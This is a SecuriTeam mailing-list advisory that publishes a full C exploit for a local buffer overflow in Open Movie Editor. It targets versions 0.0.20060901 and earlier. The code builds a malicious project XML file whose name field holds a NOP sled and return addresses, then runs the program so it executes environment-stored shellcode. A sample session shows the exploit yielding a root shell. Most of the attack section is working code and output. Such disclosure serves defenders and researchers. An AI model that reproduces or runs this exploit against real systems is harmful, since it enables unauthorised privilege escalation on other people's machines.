[EXPL] openmovieeditor name Local Buffer Overflow (Exploit)



The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

- - - - - - - - -



openmovieeditor name Local Buffer Overflow (Exploit)
------------------------------------------------------------------------


SUMMARY

" <http://openmovieeditor.sourceforge.net/> Open Movie Editor is designed
to be a simple tool, that provides basic movie making capabilities."

A buffer overflow is caused in openmovieeditor when an overly long project
name is supplied in the project's XML.

DETAILS

Vulnerable Systems:
* openmovieeditor versions 0.0.20060901 and prior.

Exploit:
/*
* openmovieeditor buffer overflow exploit
* by qnix < qnix[at]bsdmail[dot]org
*
* Dont forget to change the return address (RETADDR)
*
*
* --------------------------
* devil: ~ \> envt/envt -s 2
* Shellcode: linux/x86 setuid(0),setgid(0) execve(/bin/sh, [/bin/sh,
NULL]) 37 bytes
* [+] Setting memory for the shellcode.
* [+] Copying shellcode to memory.
* [+] Putting shellcode in the environment.
* [+] Going into the environment (ENVT) and exiting ....
* Done 37 bytes loaded to (ENVT)
* devil: ~ \> envt/envt
* SHELLCODE FOUND IN 0xbffffbf5
* devil: ~ \> ./ome_buf
*
* *****************************************
* openmovieeditor buffer overflow exploit
* by qnix < qnix[at]bsdmail[dot]org
* Dont forget to change the return address
* *****************************************
*
* Usage : ./ome_buf <filename> <openmovieeditor>
* devil: ~ \> ./ome_buf Video\ Projects/exploit.vproj
/usr/local/bin/openmovieeditor
*
* [+] Video Projects/exploit.vproj Created|Opened
* [~] Desired Return Addr : 0xbffffbf5
* [~] Offset from ESP : 0x0
* [+] Executing openmovieeditor
*
* sh-3.1# whoami;id
* root
* uid=0(root) gid=0(root) groups=0(root)
* sh-3.1# exit
* exit
*
* --------------------------
*
* */

#include <stdio.h>
#include <stdlib.h>

#define RETADDR '\xbf\xff\xfb\xf5'
#define SLEEP sleep(1);

int main(int argc,char *argv[]) {
FILE *output;

int i, offset;
long ret, *addr_ptr;
char *buffer, *ptr;

offset = 0;
ret = RETADDR - offset;

if(argc != 3) {
fprintf(stderr,"\n*****************************************\n");
fprintf(stderr,"openmovieeditor buffer overflow exploit\n");
fprintf(stderr,"by qnix < qnix[at]bsdmail[dot]org\n");
fprintf(stderr,"Dont forget to change the return address\n");
fprintf(stderr,"*****************************************\n\n");

fprintf(stderr,"Usage : %s <filename> <openmovieeditor>\n",argv[0]);
return 0;
}

output = fopen(argv[1],"w+");

if(output == 0) {
fprintf(stderr,"\n[-] Cannot create %s\n",argv[1]);
SLEEP
return 0;
} else {
fprintf(stdout,"\n[+] %s Created|Opened\n",argv[1]);
SLEEP
}

fprintf(output,"<?xml version=\"1.0\" standalone=\"no\" ?>\n");
fprintf(output,"<open_movie_editor_project>\n");
fprintf(output," <version>0.0.20060901</version>\n");

/* evil code ^_^ */
buffer = malloc(2300);
ptr = buffer;
addr_ptr = (long *) ptr;
for(i=0; i < 2300; i+=4)
{ *(addr_ptr++) = ret; }
for(i=0; i < 1040; i++)
{ buffer[i] = '\x90'; }
ptr = buffer + 1044;
buffer[2300-1] = 0;

fprintf(output," <name>%s</name>\n",buffer);
fprintf(output," <zoom value=\"1.000000\" />\n");
fprintf(output," <scroll value=\"0\" />\n");
fprintf(output," <stylus value=\"0\" />\n");
fprintf(output," <video_tracks>\n");
fprintf(output," <track />\n");
fprintf(output," <track />\n");
fprintf(output," </video_tracks>\n");
fprintf(output," <audio_tracks>\n");
fprintf(output," <track />\n");
fprintf(output," <track />\n");
fprintf(output," </audio_tracks>\n");
fprintf(output,"</open_movie_editor_project>\n");

fprintf(stdout,"[~] Desired Return Addr : 0x%x\n", ret);
SLEEP
fprintf(stdout,"[~] Offset from ESP : 0x%x\n", offset);
SLEEP

fprintf(stdout,"[+] Executing openmovieeditor\n\n");
fclose(output);
SLEEP

execl(argv[2],"openmovieeditor",0);

return 0;
}


ADDITIONAL INFORMATION

The information has been provided by <mailto:qnix@xxxxxxxxxxx> qnix.
The original article can be found at:
<http://www.milw0rm.com/exploits/2338>
http://www.milw0rm.com/exploits/2338



========================================


This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx


====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.



Relevant Pages

  • [NT] Lhaplus LHA Extended Header Handling Buffer Overflow
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... Lhaplus LHA Extended Header Handling Buffer Overflow ... A vulnerability has been found in Lhaplus. ... This advisory discloses a buffer overflow vulnerability in Lhaplus. ...
    (Securiteam)
  • [NEWS] 0verkill Buffer Overflow Vulnerabilities
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... $HOME environment variable demonstrates the buffer overflow, ... GNU gdb 5.0 ... vulnerability or to otherwise crash the program. ...
    (Securiteam)
  • [EXPL] Microsoft Windows XVoice.dll and Xlisten.dll Buffer Overflow (Exploit)
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... An exploitable buffer overflow in Microsoft Windows' DirectSpeechSynthesis ... arbitrary code by overflowing the ModeName parameter of the ActiveX. ... Microsoft Windows DirectSpeechSynthesis Module ...
    (Securiteam)
  • [NT] CA ARCServe Backup for Laptops and Desktops Multiple Buffer Overflow Vulnerabilities
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... CA ARCServe Backup for Laptops and Desktops Multiple Buffer Overflow ... Remote exploitation of multiple buffer overflow vulnerabilities in ... rxsGetSubDirs, rxsGetServerDBPathName, rxsSetServerOptions, rxsDeleteFile, ...
    (Securiteam)
  • [NT] DynaZip DZIP32.DLL/DZIPS32.DLL Buffer Overflow Vulnerabilities
    ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... DynaZip DZIP32.DLL/DZIPS32.DLL Buffer Overflow Vulnerabilities ... This advisory discloses some buffer overflow vulnerabilities in DynaZip ... DWORD var1; ...
    (Securiteam)